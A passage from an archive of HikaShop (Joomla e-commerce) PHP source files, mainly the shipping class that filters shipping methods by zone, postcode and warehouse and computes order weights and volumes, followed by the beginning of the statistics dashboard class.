			$id = (int)$element->category_id;
			if(isset($nodes[$id]) && empty($nodes[$id]->data) &&
$nodes[$id]->status != 5) {
				if(isset($element->category_parent_id) &&
isset($nodes[$element->category_parent_id])) {
					foreach($nodes[$element->category_parent_id]->data as $k =>
$v) {
						if(isset($v->value) && $v->status != 0 &&
$v->value == $id)
							unset($nodes[$element->category_parent_id]->data[$k]);
					}
				}
				$nodes[$id] = null;
				unset($nodes[$id]);
			}
		}

		foreach($tree as $k => $t) {
			if($t === null)
				unset($tree[$k]);
		}

		foreach($nodes as &$node) {
			if(empty($node->data)) {
				unset($node->data);
			} else {
				$node->data = array_values($node->data);
			}
			unset($node);
		}

		return $tree;
	}
}
shipping.php000064400000056430151160302620007102 0ustar00<?php
/**
 * @package	HikaShop for Joomla!
 * @version	2.2.3
 * @author	hikashop.com
 * @copyright	(C) 2010-2013 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php
class hikashopShippingClass extends hikashopClass{
	var $tables = array('shipping');
	var $pkeys = array('shipping_id');
	var $deleteToggle =
array('shipping'=>array('shipping_type','shipping_id'));
	var $toggle =
array('shipping_published'=>'shipping_id');

	function save(&$element,$reorder=true){
		JPluginHelper::importPlugin('hikashop');
		$dispatcher = JDispatcher::getInstance();
		$do = true;
		if(empty($element->shipping_id))
			$dispatcher->trigger('onBeforeHikaPluginCreate',
array('shipping', &$element, &$do));
		else
			$dispatcher->trigger('onBeforeHikaPluginUpdate',
array('shipping', &$element, &$do));

		if(!$do)
			return false;

		if(isset($element->shipping_params) &&
!is_string($element->shipping_params)){
			$element->shipping_params = serialize($element->shipping_params);
		}

		$status = parent::save($element);
		if($status && empty($element->shipping_id)){
			$element->shipping_id = $status;
			if($reorder){
				$orderClass = hikashop_get('helper.order');
				$orderClass->pkey = 'shipping_id';
				$orderClass->table = 'shipping';
				$orderClass->groupMap = 'shipping_type';
				$orderClass->groupVal = $element->shipping_type;
				$orderClass->orderingMap = 'shipping_ordering';
				$orderClass->reOrder();
			}
		}

		if($status && !empty($element->shipping_published) &&
!empty($element->shipping_id)) {
			$db = JFactory::getDBO();
			$query = 'SELECT shipping_type FROM ' .
hikashop_table('shipping') . ' WHERE shipping_id = ' .
(int)$element->shipping_id;
			$db->setQuery($query);
			$name = $db->loadResult();
			if(!HIKASHOP_J16) {
				$query = 'UPDATE
'.hikashop_table('plugins',false).' SET published = 1
WHERE published = 0 AND element = ' . $db->Quote($name) . '
AND folder = ' . $db->Quote('hikashopshipping');
			} else {
				$query = 'UPDATE
'.hikashop_table('extensions',false).' SET enabled = 1
WHERE enabled = 0 AND type = ' . $db->Quote('plugin') .
' AND element = ' . $db->Quote($name) . ' AND folder =
' . $db->Quote('hikashopshipping');
			}
			$db->setQuery($query);
			$db->query();
		}
		return $status;
	}

	function delete(&$elements){
		$status = parent::delete($elements);
		if($status){
			$orderClass = hikashop_get('helper.order');
			$orderClass->pkey = 'shipping_id';
			$orderClass->table = 'shipping';
			$orderClass->groupMap = 'shipping_type';
			$orderClass->orderingMap = 'shipping_ordering';
			$app =& JFactory::getApplication();
			$orderClass->groupVal = $app->getUserStateFromRequest(
HIKASHOP_COMPONENT.'.shipping_plugin_type','shipping_plugin_type','manual');
			$orderClass->reOrder();
		}
		return $status;
	}

	function get($id,$default=''){
		$result = parent::get($id);
		if(!empty($result->payment_params)){
			$result->payment_params = unserialize($result->payment_params);
		}
		return $result;
	}

	function getMethods(&$order){
		$pluginClass = hikashop_get('class.plugins');
		$rates = $pluginClass->getMethods('shipping');

		if(isset($order->total->prices[0]->price_value) &&
bccomp($order->total->prices[0]->price_value,0,5) &&
!empty($rates)){
			$currencyClass = hikashop_get('class.currency');
			$currencyClass->convertShippings($rates);
		}
		return $rates;
	}

	function &getShippings(&$order, $reset = false) {
		static $usable_methods = null;
		static $shipping_groups = null;
		static $errors = array();
		if($reset) {
			$usable_methods = null;
			$errors = array();
			$shipping_groups = null;
		}
		if(!is_null($usable_methods)) {
			$this->errors = $errors;
			$order->shipping_groups =& $shipping_groups;
			return $usable_methods;
		}

		$this->getShippingProductsData($order);

		$zoneClass = hikashop_get('class.zone');
		$zones = $zoneClass->getOrderZones($order);

		$rates = $this->getMethods($order);
		$usable_methods = array();

		$config =& hikashop_config();
		if(!$config->get('force_shipping') &&
bccomp(@$order->weight, 0, 5) <= 0) {
			return $usable_methods;
		}

		if(empty($rates)) {
			$errors['no_rates'] =
JText::_('NO_SHIPPING_METHOD_FOUND');
			$this->errors = $errors;
			return $usable_methods;
		}

		$app = JFactory::getApplication();
		$order_clone = new stdClass();
		$variables =
array('products','cart_id','coupon','shipping_address','volume','weight','volume_unit','weight_unit');
		foreach($variables as $var){
			if(isset($order->$var)) $order_clone->$var = $order->$var;
		}
		$shipping_key = sha1(serialize($order_clone).serialize($rates));
		if($app->getUserState(HIKASHOP_COMPONENT.'.shipping.'.$shipping_key.'.key',false)){
			$this->errors = $errors =
$app->getUserState(HIKASHOP_COMPONENT.'.shipping.'.$shipping_key.'.errors',array());
			$shipping_groups =
$app->getUserState(HIKASHOP_COMPONENT.'.shipping.'.$shipping_key.'.shipping_groups',null);
			$usable_methods =
$app->getUserState(HIKASHOP_COMPONENT.'.shipping.'.$shipping_key.'.usable_methods',null);
			$order->shipping_groups =& $shipping_groups;
			return $usable_methods;
		}

		foreach($rates as $k => $rate) {
			if(!empty($rate->shipping_zone_namekey) &&
!in_array($rate->shipping_zone_namekey, $zones)) {
				unset($rates[$k]);
				continue;
			}

			if(!empty($rate->shipping_params->shipping_zip_prefix) ||
!empty($rate->shipping_params->shipping_min_zip) ||
!empty($rate->shipping_params->shipping_max_zip) ||
!empty($rate->shipping_params->shipping_zip_suffix)) {
				$checkDone = false;
				if(!empty($order->shipping_address) &&
!empty($order->shipping_address->address_post_code)) {
					if(preg_match('#([a-z]*)([0-9]+)(.*)#i',
preg_replace('#[^a-z0-9]#i', '',
$order->shipping_address->address_post_code), $match)) {
						$checkDone = true;
						$prefix = $match[1];
						$main = $match[2];
						$suffix = $match[3];
						if(!empty($rate->shipping_params->shipping_zip_prefix)
&& $rate->shipping_params->shipping_zip_prefix != $prefix) {
							unset($rates[$k]);
							continue;
						}
						if(!empty($rate->shipping_params->shipping_min_zip) &&
$rate->shipping_params->shipping_min_zip > $main) {
							unset($rates[$k]);
							continue;
						}
						if(!empty($rate->shipping_params->shipping_max_zip) &&
$rate->shipping_params->shipping_max_zip < $main) {
							unset($rates[$k]);
							continue;
						}
						if(!empty($rate->shipping_params->shipping_zip_suffix)
&& $rate->shipping_params->shipping_zip_suffix != $suffix) {
							unset($rates[$k]);
							continue;
						}
					}
				}
				if(!$checkDone) {
					unset($rates[$k]);
					continue;
				}
			}
		}

		if(empty($rates)) {
			if(hikashop_loadUser())
				$errors['no_shipping_to_your_zone'] =
JText::_('NO_SHIPPING_TO_YOUR_ZONE');
			$this->errors = $errors;
			return $usable_methods;
		}

		$shipping_groups = $this->getShippingGroups($order, $rates);

		JPluginHelper::importPlugin('hikashopshipping');
		$dispatcher = JDispatcher::getInstance();

		if(!empty($shipping_groups) && count($shipping_groups) > 1) {
			$order_products = $order->products;
			foreach($shipping_groups as $key => &$group) {
				$order->products = $group->products;
				$group_usable_methods = array();
				$rates_copy = array();
				foreach($rates as $rate) {
					$add_rate = true;
					if(!empty($rate->shipping_params->shipping_warehouse_filter)) {
						$add_rate = false;
						if($key === $rate->shipping_params->shipping_warehouse_filter)
{
							$add_rate = true;
						}
elseif(substr($rate->shipping_params->shipping_warehouse_filter, 0,
1) == '0') {
							$wf =
substr($rate->shipping_params->shipping_warehouse_filter, 1);
							$add_rate = (!empty($wf) && substr($key, 1) == $wf);
						}
					}

					if($add_rate)
						$rates_copy[] = clone($rate);
				}


				$dispatcher->trigger('onShippingDisplay',
array(&$order, &$rates_copy, &$group_usable_methods,
&$errors));

				foreach($group_usable_methods as $method) {
					$group->shippings[] = $method->shipping_id;
					$method->shipping_warehouse_id = $key;
					$usable_methods[] = $method;
				}
				unset($method);
			}
			$order->products = $order_products;
		} else {
			$key = array_keys($shipping_groups);
			$key = reset($key);
			foreach($rates as $k => $rate) {
				$rem_rate = false;
				if(!empty($rate->shipping_params->shipping_warehouse_filter)) {
					$rem_rate = true;
					if($key === $rate->shipping_params->shipping_warehouse_filter)
{
						$rem_rate = false;
					}
elseif(substr($rate->shipping_params->shipping_warehouse_filter, 0,
1) == '0') {
						$wf = substr($rate->shipping_params->shipping_warehouse_filter,
1);
						$rem_rate = (empty($wf) || substr($key, 1) != $wf);
					}
				}

				if($rem_rate)
					unset($rates[$k]);
			}

			$dispatcher->trigger('onShippingDisplay',
array(&$order, &$rates, &$usable_methods, &$errors));

			$g = reset($shipping_groups);
			foreach($usable_methods as $method) {
				$g->shippings[] = $method->shipping_id;
				$method->shipping_warehouse_id = $key;
			}
		}

		if(empty($usable_methods)) {
			$errors['no_rates'] =
JText::_('NO_SHIPPING_METHOD_FOUND');
			$this->errors = $errors;
			return $usable_methods;
		}
		$this->errors = $errors;

		$app->setUserState(HIKASHOP_COMPONENT.'.shipping.'.$shipping_key.'.key',true);
		$app->setUserState(HIKASHOP_COMPONENT.'.shipping.'.$shipping_key.'.errors',$this->errors);
		$app->setUserState(HIKASHOP_COMPONENT.'.shipping.'.$shipping_key.'.shipping_groups',$order->shipping_groups);
		$app->setUserState(HIKASHOP_COMPONENT.'.shipping.'.$shipping_key.'.usable_methods',$usable_methods);
		return $usable_methods;
	}

	function getShippingProductsData(&$order, $products = array()) {
		if(empty($order->shipping_prices)) {
			$order->shipping_prices = array();
		}

		if(!isset($order->shipping_prices[0])) {
			$order->shipping_prices[0] = new stdClass();
			$order->shipping_prices[0]->all_with_tax = 0;
			$order->shipping_prices[0]->all_without_tax = 0;
			if(isset($order->total->prices[0]->price_value_with_tax)) {
				$order->shipping_prices[0]->all_with_tax =
$order->total->prices[0]->price_value_with_tax;
			}
			if(isset($order->full_total->prices[0]->price_value_without_shipping_with_tax))
{
				$order->shipping_prices[0]->all_with_tax =
$order->full_total->prices[0]->price_value_without_shipping_with_tax;
			}
			if(isset($order->total->prices[0]->price_value)) {
				$order->shipping_prices[0]->all_without_tax =
$order->total->prices[0]->price_value;
			}
			if(isset($order->full_total->prices[0]->price_value_without_shipping))
{
				$order->shipping_prices[0]->all_without_tax =
$order->full_total->prices[0]->price_value_without_shipping;
			}

			$order->shipping_prices[0]->weight = $order->weight;
			$order->shipping_prices[0]->volume = $order->volume;
			$order->shipping_prices[0]->total_quantity =
$order->total_quantity;
		}

		$key = 0;
		if(!empty($products)) {
			$product_keys = array_keys($products);
			sort($product_keys);
			$key = implode(',', $product_keys);

			if(!isset($order->shipping_prices[$key]))
				$order->shipping_prices[$key] = new stdClass();
		}

		$order->shipping_prices[$key]->real_with_tax = 0.0;
		$order->shipping_prices[$key]->real_without_tax = 0.0;
		$order->shipping_prices[$key]->products = array();
		$order->shipping_prices[$key]->volume = 0.0;
		$order->shipping_prices[$key]->weight = 0.0;
		$order->shipping_prices[$key]->total_quantity = 0;
		if(!empty($order->products)) {
			$all_products = new stdClass();
			$all_products->products = array();
			$real_products = new stdClass();
			$real_products->products = array();

			$volumeClass = hikashop_get('helper.volume');
			$weightClass = hikashop_get('helper.weight');

			foreach($order->products as $k => $row) {
				if(!empty($products) && !isset($products[$k]))
					continue;

				if(empty($order->shipping_prices[$key]->products[$row->product_id]))
					$order->shipping_prices[$key]->products[$row->product_id] =
0;
				$order->shipping_prices[$key]->products[$row->product_id] +=
$row->cart_product_quantity;

				if(!empty($row->product_parent_id)) {
					if(!isset($order->shipping_prices[$key]->products[$row->product_parent_id]))
						$order->shipping_prices[$key]->products[$row->product_parent_id]
= 0;
					$order->shipping_prices[$key]->products[$row->product_parent_id]
+= $row->cart_product_quantity;
				}

				if($row->product_weight > 0)
					$real_products->products[] = $row;

				if($key !== 0)
					$all_products->products[] = $row;

				if($key !== 0 && !empty($row->cart_product_quantity)) {

					if(!empty($row->cart_product_parent_id)) {
						if(!bccomp($row->product_length, 0, 5) ||
!bccomp($row->product_width, 0, 5) || !bccomp($row->product_height,
0, 5)) {
							foreach($order->products as $l => $elem){
								if($elem->cart_product_id == $row->cart_product_parent_id) {
									$row->product_length = $elem->product_length;
									$row->product_width = $elem->product_width;
									$row->product_height = $elem->product_height;
									$row->product_dimension_unit =
$elem->product_dimension_unit;
									break;
								}
							}
						}
						if(!bccomp($row->product_weight, 0, 5)) {
							foreach($order->products as $l => $elem){
								if($elem->cart_product_id == $row->cart_product_parent_id){
									$row->product_weight = $elem->product_weight;
									$row->product_weight_unit = $elem->product_weight_unit;
									break;
								}
							}
						}
					}

					if(bccomp($row->product_length, 0, 5) &&
bccomp($row->product_width, 0, 5) &&
bccomp($row->product_height, 0, 5)) {
						if(!isset($row->product_total_volume)) {
							$row->product_volume = $row->product_length *
$row->product_width * $row->product_height;
							$row->product_total_volume = $row->product_volume *
$row->cart_product_quantity;
							$row->product_total_volume_orig = $row->product_total_volume;
							$row->product_dimension_unit_orig =
$row->product_dimension_unit;
							$row->product_total_volume =
$volumeClass->convert($row->product_total_volume,
$row->product_dimension_unit);
							$row->product_dimension_unit = $order->volume_unit;
						}

						$order->shipping_prices[$key]->volume +=
$row->product_total_volume;
					}

					if(bccomp($row->product_weight, 0, 5)) {

						if($row->product_weight_unit != $order->weight_unit) {
							$row->product_weight_orig = $row->product_weight;
							$row->product_weight_unit_orig = $row->product_weight_unit;
							$row->product_weight =
$weightClass->convert($row->product_weight,
$row->product_weight_unit);
							$row->product_weight_unit = $order->weight_unit;
						}

						$order->shipping_prices[$key]->weight +=
$row->product_weight * $row->cart_product_quantity;
					}

					$order->shipping_prices[$key]->total_quantity +=
$row->cart_product_quantity;
				}
			}

			$currencyClass = hikashop_get('class.currency');
			$currencyClass->calculateTotal($real_products->products,
$real_products->total, hikashop_getCurrency());

			$order->shipping_prices[$key]->real_with_tax =
$real_products->total->prices[0]->price_value_with_tax;
			$order->shipping_prices[$key]->real_without_tax =
$real_products->total->prices[0]->price_value;

			if($key !== 0) {
				$currencyClass->calculateTotal($all_products->products,
$all_products->total, hikashop_getCurrency());
				$order->shipping_prices[$key]->all_with_tax = 
$all_products->total->prices[0]->price_value_with_tax;
				$order->shipping_prices[$key]->all_without_tax =
$all_products->total->prices[0]->price_value;
			}

			unset($real_products->products);
			unset($real_products);
		}

		return $key;
	}

	function &getShippingGroups(&$order, &$rates) {
		if(!empty($order->shipping_groups))
			return $order->shipping_groups;

		$shipping_groups = array();

		$warehouse = new stdClass();
		$warehouse->name = '';
		$warehouse->products = array();
		$warehouse->shippings = array();

		$shipping_groups[0] = $warehouse;

		if(!empty($order->products)){
			foreach($order->products as &$product) {
				if($product->cart_product_quantity <= 0)
					continue;

				if(!empty($product->product_warehouse)) {
					if(!isset($shipping_groups[$product->product_warehouse])) {
						$w = new stdClass();
						$w->name = '';
						$w->products = array();
						$w->shippings = array();

						$shipping_groups[$product->product_warehouse] = $w;
					}
					$shipping_groups[$product->product_warehouse]->products[] =&
$product;
				} else
					$shipping_groups[0]->products[] =& $product;
			}
			unset($product);
		}

		if(empty($shipping_groups[0]->products)) {
			$shipping_groups[0] = null;
			unset($shipping_groups[0]);
		}

		JPluginHelper::importPlugin('hikashop');
		$dispatcher = JDispatcher::getInstance();
		$dispatcher->trigger('onShippingWarehouseFilter',
array(&$shipping_groups, &$order, &$rates));

		foreach($shipping_groups as $group_id => $shipping_group) {
			if(empty($shipping_group->products)) {
				$shipping_groups[$group_id] = null;
				unset($shipping_groups[$group_id]);
			}
		}

		$order->shipping_groups =& $shipping_groups;
		return $shipping_groups;
	}

	function getShippingName($shipping_method, $shipping_id) {
		$shipping_name = $shipping_method . ' ' . $shipping_id;
		if(strpos($shipping_id, '-') !== false) {
			$shipping_ids = explode('-', $shipping_id, 2);
			$shipping = $this->get($shipping_ids[0]);
			if(!empty($shipping->shipping_params) &&
is_string($shipping->shipping_params))
				$shipping->shipping_params =
unserialize($shipping->shipping_params);
			$shippingMethod = hikashop_import('hikashopshipping',
$shipping_method);
			$methods = $shippingMethod->shippingMethods($shipping);
			unset($shippingMethod);

			if(isset($methods[$shipping_id])){
				$shipping_name = $shipping->shipping_name.' -
'.$methods[$shipping_id];
			}else{
				$shipping_name = $shipping_id;
			}
			unset($methods);
			unset($shipping);
		}
		return $shipping_name;
	}

	function displayErrors(){
		if(!empty($this->errors)) {

			foreach($this->errors as $k => $errors) {
				if(is_array($errors)){
					foreach($errors as $key => $value){
						$this->_displayErrors($key,$value);
						return true;
					}
				}else{
					$this->_displayErrors($k,$errors);
					return true;
				}
			}
			return true;
		}
		return false;
	}
	function _displayErrors($key,$value){
		static $displayed = array();
		if(isset($displayed[$key.$value])) return;
		$displayed[$key.$value] = true;
		$number = 0;
		if(is_numeric($value)){
			$number = $value;
			switch($key){
				case 'min_price':
					$value = 'ORDER_TOTAL_TOO_LOW_FOR_SHIPPING_METHODS';
					break;
				case 'max_price':
					$value = 'ORDER_TOTAL_TOO_HIGH_FOR_SHIPPING_METHODS';
					break;
				case 'min_volume':
					$value = 'ITEMS_VOLUME_TOO_SMALL_FOR_SHIPPING_METHODS';
					break;
				case 'max_volume':
					$value = 'ITEMS_VOLUME_TOO_BIG_FOR_SHIPPING_METHODS';
					break;
				case 'min_weight':
					$value = 'ITEMS_WEIGHT_TOO_SMALL_FOR_SHIPPING_METHODS';
					break;
				case 'max_weight':
					$value = 'ITEMS_WEIGHT_TOO_BIG_FOR_SHIPPING_METHODS';
					break;
				case 'min_quantity':
					$value = 'ORDER_QUANTITY_TOO_SMALL_FOR_SHIPPING_METHODS';
					break;
				case 'max_quantity':
					$value = 'ORDER_QUANTITY_TOO_HIGH_FOR_SHIPPING_METHODS';
					break;
				case 'product_excluded':
					$value = 'X_PRODUCTS_ARE_NOT_SHIPPABLE_TO_YOU';
					break;
				default:
					$value = $key;
					break;
			}
		}
		$transKey = strtoupper(str_replace(' ','_',$value));
		$trans = JText::_($transKey);
		if(strpos($trans,'%s')!==false){
			$trans = JText::sprintf($transKey,$number);
		}
		if($trans != $transKey){
			$value = $trans;
		}

		static $translatedDisplayed = array();
		if(isset($translatedDisplayed[$value])) return;
		$translatedDisplayed[$value] = true;

		$app = JFactory::getApplication();
		$app->enqueueMessage($value);
	}

	function fillListingColumns(&$rows, &$listing_columns, &$view)
{
		$listing_columns['price'] = array(
			'name' => 'PRODUCT_PRICE',
			'col' => 'col_display_price'
		);
		$listing_columns['restriction'] = array(
			'name' => 'HIKA_RESTRICTIONS',
			'col' => 'col_display_restriction'
		);

		foreach($rows as &$row) {
			if(!empty($row->shipping_params) &&
is_string($row->shipping_params))
				$row->plugin_params = unserialize($row->shipping_params);

			$row->col_display_price = '';
			if(bccomp($row->shipping_price, 0, 3)) {
				$row->col_display_price =
$view->currencyClass->displayPrices(array($row),
'shipping_price', 'shipping_currency_id');
			}
			if(isset($row->plugin_params->shipping_percentage) &&
bccomp($row->plugin_params->shipping_percentage, 0, 3)) {
				$row->col_display_price .= '<br/>';
				$row->col_display_price .=
$row->plugin_params->shipping_percentage.'%';
			}

			$restrictions = array();
			if(!empty($row->plugin_params->shipping_min_volume))
				$restrictions[] = JText::_('SHIPPING_MIN_VOLUME') .
':' . $row->plugin_params->shipping_min_volume .
$row->plugin_params->shipping_size_unit;
			if(!empty($row->plugin_params->shipping_max_volume))
				$restrictions[] = JText::_('SHIPPING_MAX_VOLUME') .
':' . $row->plugin_params->shipping_max_volume .
$row->plugin_params->shipping_size_unit;

			if(!empty($row->plugin_params->shipping_min_weight))
				$restrictions[] = JText::_('SHIPPING_MIN_WEIGHT') .
':' . $row->plugin_params->shipping_min_weight .
$row->plugin_params->shipping_weight_unit;
			if(!empty($row->plugin_params->shipping_max_weight))
				$restrictions[] = JText::_('SHIPPING_MAX_WEIGHT') .
':' . $row->plugin_params->shipping_max_weight .
$row->plugin_params->shipping_weight_unit;

			if(isset($row->plugin_params->shipping_min_price) &&
bccomp($row->plugin_params->shipping_min_price, 0, 5)) {
				$row->shipping_min_price =
$row->plugin_params->shipping_min_price;
				$restrictions[] = JText::_('SHIPPING_MIN_PRICE') .
':' . $view->currencyClass->displayPrices(array($row),
'shipping_min_price', 'shipping_currency_id');
			}
			if(isset($row->plugin_params->shipping_max_price) &&
bccomp($row->plugin_params->shipping_max_price, 0, 5)) {
				$row->shipping_max_price =
$row->plugin_params->shipping_max_price;
				$restrictions[] = JText::_('SHIPPING_MAX_PRICE') .
':' . $view->currencyClass->displayPrices(array($row),
'shipping_max_price', 'shipping_currency_id');
			}
			if(!empty($row->plugin_params->shipping_zip_prefix))
				$restrictions[] = JText::_('SHIPPING_PREFIX') . ':'
. $row->plugin_params->shipping_zip_prefix;
			if(!empty($row->plugin_params->shipping_min_zip))
				$restrictions[] = JText::_('SHIPPING_MIN_ZIP') .
':' . $row->plugin_params->shipping_min_zip;
			if(!empty($row->plugin_params->shipping_max_zip))
				$restrictions[] = JText::_('SHIPPING_MAX_ZIP') .
':' . $row->plugin_params->shipping_max_zip;
			if(!empty($row->plugin_params->shipping_zip_suffix))
				$restrictions[] = JText::_('SHIPPING_SUFFIX') . ':'
. $row->plugin_params->shipping_zip_suffix;
			if(!empty($row->shipping_zone_namekey)) {
				$zone = $view->zoneClass->get($row->shipping_zone_namekey);
				$restrictions[] = JText::_('ZONE') . ':' .
$zone->zone_name_english;
			}
			$row->col_display_restriction = implode('<br/>',
$restrictions);

			unset($row);
		}
	}
}
statistics.php000064400000150116151160302620007447 0ustar00<?php
/**
 * @package	HikaShop for Joomla!
 * @version	4.4.1
 * @author	hikashop.com
 * @copyright	(C) 2010-2021 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php
class hikashopStatisticsClass extends hikashopClass {
	public $tables = array();
	public $pkeys = array();
	public $toggle = array();

	public $timeoffset = '';

	public function __construct($config = array()) {
		parent::__construct($config);

		$this->config = hikashop_config();
		$this->joomlaConfig = JFactory::getConfig();
		if(!isset($this->db))
			$this->db = JFactory::getDBO();

		if(!HIKASHOP_J30)
			$offset =
$this->joomlaConfig->getValue('config.offset');
		else
			$offset  = $this->joomlaConfig->get('offset');

		if(!is_numeric($offset)) {
			$tz = new
DateTimeZone(JFactory::getUser()->getParam('timezone',
$offset));
			$date = JFactory::getDate('now', $tz);
			$offset = $date->getOffsetFromGmt(true);
		}

		$this->timeoffset  = ((int)$offset)*3600;

		$this->timeoffsetStr = ''.$this->timeoffset;
		if($this->timeoffset == 0)
			$this->timeoffsetStr  = '';
		else if($this->timeoffset > 0)
			$this->timeoffsetStr  = '+' . $this->timeoffset ;
	}

	public function getDashboard($place = null) {
		$order_type = $this->db->Quote('sale');
		$valid_order_statuses = explode(',',
$this->config->get('stats_valid_order_statuses',
'confirmed,shipped'));
		$invoice_order_statuses =
$this->config->get('invoice_order_statuses',
'confirmed,shipped');
		$created_status = empty($invoice_order_statuses);
		foreach($valid_order_statuses as &$status) {
			if(trim($status) == 'created')
				$created_status = true;
			$status = $this->db->Quote(trim($status));
		}
		unset($status);

		$ret = array();

		$ret['sales_sum'] = array(
			'slot' => 0,
			'order' => 1,
			'published' => 1,
			'class' => 'hkc-lg-3 hkc-sm-6',
			'label' =>
JText::_('HIKA_STATS_ORDERS_THIS_MONTH'),

			'format' => 'price',
			'type' => 'tile',
			'tile' => array(
				'icon' => array('type' => 'fa',
'value' => 'credit-card'),
				'view' =>
hikashop_completeLink('order&task=listing'),
			),
			'vars' => array(
				'DATE_RANGE' => 'past.month',
			),
			'query' => array(
				'get' => 'list',
				'select' => array(
					'SUM(hk_order.order_full_price) as value',
					'hk_order.order_currency_id as currency'
				),
				'tables' => hikashop_table('order') . ' AS
hk_order ',
				'filters' => array(
					'order_type' => 'hk_order.order_type =
'.$order_type.'',
					'order_status' => ('hk_order.order_status IN
('.implode(',', $valid_order_statuses).')'),
					'order_created' => ($created_status ?
						'hk_order.order_created >= {DATE_START} AND ({DATE_END} <=
0 OR hk_order.order_created <= {DATE_END})':
						'hk_order.order_invoice_created >= {DATE_START} AND
({DATE_END} <= 0 OR hk_order.order_invoice_created <=
{DATE_END})'),
				),
				'group' => 'hk_order.order_currency_id'
			)
		);

		$ret['sales_count'] = array(
			'slot' => 0,
			'order' => 2,
			'published' => 1,
			'class' => 'hkc-lg-3 hkc-sm-6',
			'label' => JText::_('HIKA_STATS_TOTAL_ORDERS'),

			'format' => 'number',
			'type' => 'tile',
			'tile' => array(
				'icon' => array('type' => 'fa',
'value' => 'shopping-cart'),
				'view' =>
hikashop_completeLink('order&task=listing'),
			),
			'vars' => array(
				'DATE_RANGE' => 'past.month',
			),
			'query' => array(
				'get' => 'single',
				'select' => 'COUNT(*) as value',
				'tables' => hikashop_table('order') . ' AS
hk_order ',
				'filters' => array(
					'order_type' => 'hk_order.order_type =
'.$order_type.'',
					'order_status' => ('hk_order.order_status IN
('.implode(',', $valid_order_statuses).')'),
					'order_created' => ($created_status ?
						'hk_order.order_created >= {DATE_START} AND ({DATE_END} <=
0 OR hk_order.order_created <= {DATE_END})' :
						'hk_order.order_invoice_created >= {DATE_START} AND
({DATE_END} <= 0 OR hk_order.order_invoice_created <=
{DATE_END})'),
				)
			)
		);

		$ret['sales_avg'] = array(
			'slot' => 0,
			'order' => 3,
			'published' => 1,
			'class' => 'hkc-lg-3 hkc-sm-6',
			'label' =>
JText::_('HIKA_STATS_AVERAGE_ORDER_PRICE'),

			'format' => 'price',
			'type' => 'tile',
			'tile' => array(
				'icon' => array('type' => 'fa',
'value' => 'money fa-money-bill-alt'),
				'view' =>
hikashop_completeLink('order&task=listing'),
			),
			'vars' => array(
				'DATE_RANGE' => 'past.month',
			),
			'query' => array(
				'get' => 'list',
				'select' => array(
					'AVG(hk_order.order_full_price) as value',
					'hk_order.order_currency_id as currency'
				),
				'tables' => hikashop_table('order') . ' AS
hk_order ',
				'filters' => array(
					'order_type' => 'hk_order.order_type =
'.$order_type.'',
					'order_status' => ('hk_order.order_status IN
('.implode(',', $valid_order_statuses).')'),
					'order_created' => ($created_status ?
						'hk_order.order_created >= {DATE_START} AND ({DATE_END} <=
0 OR hk_order.order_created <= {DATE_END})':
						'hk_order.order_invoice_created >= {DATE_START} AND
({DATE_END} <= 0 OR hk_order.order_invoice_created <=
{DATE_END})'),
				),
				'group' => 'hk_order.order_currency_id'
			)
		);

		$ret['sales_today_count'] = array(
			'slot' => 0,
			'order' => 4,
			'published' => 1,
			'class' => 'hkc-lg-3 hkc-sm-6',
			'label' =>
JText::_('HIKA_STATS_CURRENT_ORDERS'),

			'format' => 'number',
			'type' => 'tile',
			'tile' => array(
				'icon' => array('type' => 'fa',
'value' => 'shopping-cart'),
				'view' =>
hikashop_completeLink('order&task=listing'),
			),
			'vars' => array(
				'DATE_RANGE' => 'this.day',
			),
			'query' => array(
				'get' => 'single',
				'select' => 'COUNT(*) as value',
				'tables' => hikashop_table('order') . ' AS
hk_order ',
				'filters' => array(
					'order_type' => 'hk_order.order_type =
'.$order_type.'',
					'order_status' => ('hk_order.order_status IN
('.implode(',', $valid_order_statuses).')'),
					'order_created' => ($created_status ?
						'hk_order.order_created >= {DATE_START} AND ({DATE_END} <=
0 OR hk_order.order_created <= {DATE_END})' :
						'hk_order.order_invoice_created >= {DATE_START} AND
({DATE_END} <= 0 OR hk_order.order_invoice_created <=
{DATE_END})'),
				)
			)
		);

		$ret['orders_history'] = array(
			'slot' => 1,
			'order' => 1,
			'published' => 1,
			'container' => 1,
			'class' => 'hkc-lg-8 hkc-sm-12',
			'label' => JText::_('ORDERS'),

			'type' => 'graph',
			'graph' => array(
				'cols' => 'currency',
				'axis' => 'date',
			),
			'vars' => array(
				'DATE_RANGE' => 'this.year:month',
				'DATE_GROUP' => 'week',
				'DATE_START' => 0,
				'DATE_END' => -1,
			),
			'query' => array(
				'get' => 'list',
				'select' => array(
					'value' => 'SUM(hk_order.order_full_price) as
value',
					'axis' => ($created_status ?
						'DATE_FORMAT(FROM_UNIXTIME(CAST(hk_order.order_created AS
SIGNED)'.$this->timeoffsetStr.'),\'{DATE_FORMAT}\')
as axis':
						'DATE_FORMAT(FROM_UNIXTIME(CAST(hk_order.order_invoice_created
AS
SIGNED)'.$this->timeoffsetStr.'),\'{DATE_FORMAT}\')
as axis'),
					'currency' => 'currencies.currency_code as
currency'
				),
				'tables' => array(
					hikashop_table('order') . ' AS hk_order',
					'INNER JOIN '.hikashop_table('currency').' AS
currencies ON hk_order.order_currency_id = currencies.currency_id'
				),
				'filters' => array(
					'order_type' => 'hk_order.order_type =
'.$order_type.'',
					'order_status' => ('hk_order.order_status IN
('.implode(',', $valid_order_statuses).')'),
					'order_created' => ($created_status ?
						'hk_order.order_created >= {DATE_START} AND ({DATE_END} <=
0 OR hk_order.order_created <= {DATE_END})':
						'hk_order.order_invoice_id > 0 AND
hk_order.order_invoice_created > 0 AND hk_order.order_invoice_created
>= {DATE_START} AND ({DATE_END} <= 0 OR
hk_order.order_invoice_created <= {DATE_END})'),
				),
				'group' => 'axis, hk_order.order_currency_id',
				'order' => 'axis ASC'
			)
		);

		$ret['best_product'] = array(
			'slot' => 1,
			'order' => 2,
			'published' => 1,
			'class' => 'hkc-lg-2 hkc-sm-3',
			'label' => JText::_('HIKA_STATS_BEST_PRODUCT'),

			'type' => 'tile',
			'tile' => array(
				'mode' => 'small',
				'image' => 'product',
				'translate' => true,
			),
			'vars' => array(
				'DATE_RANGE' => 'this.month',
			),
			'query' => array(
				'get' => 'object',
				'select' => array(
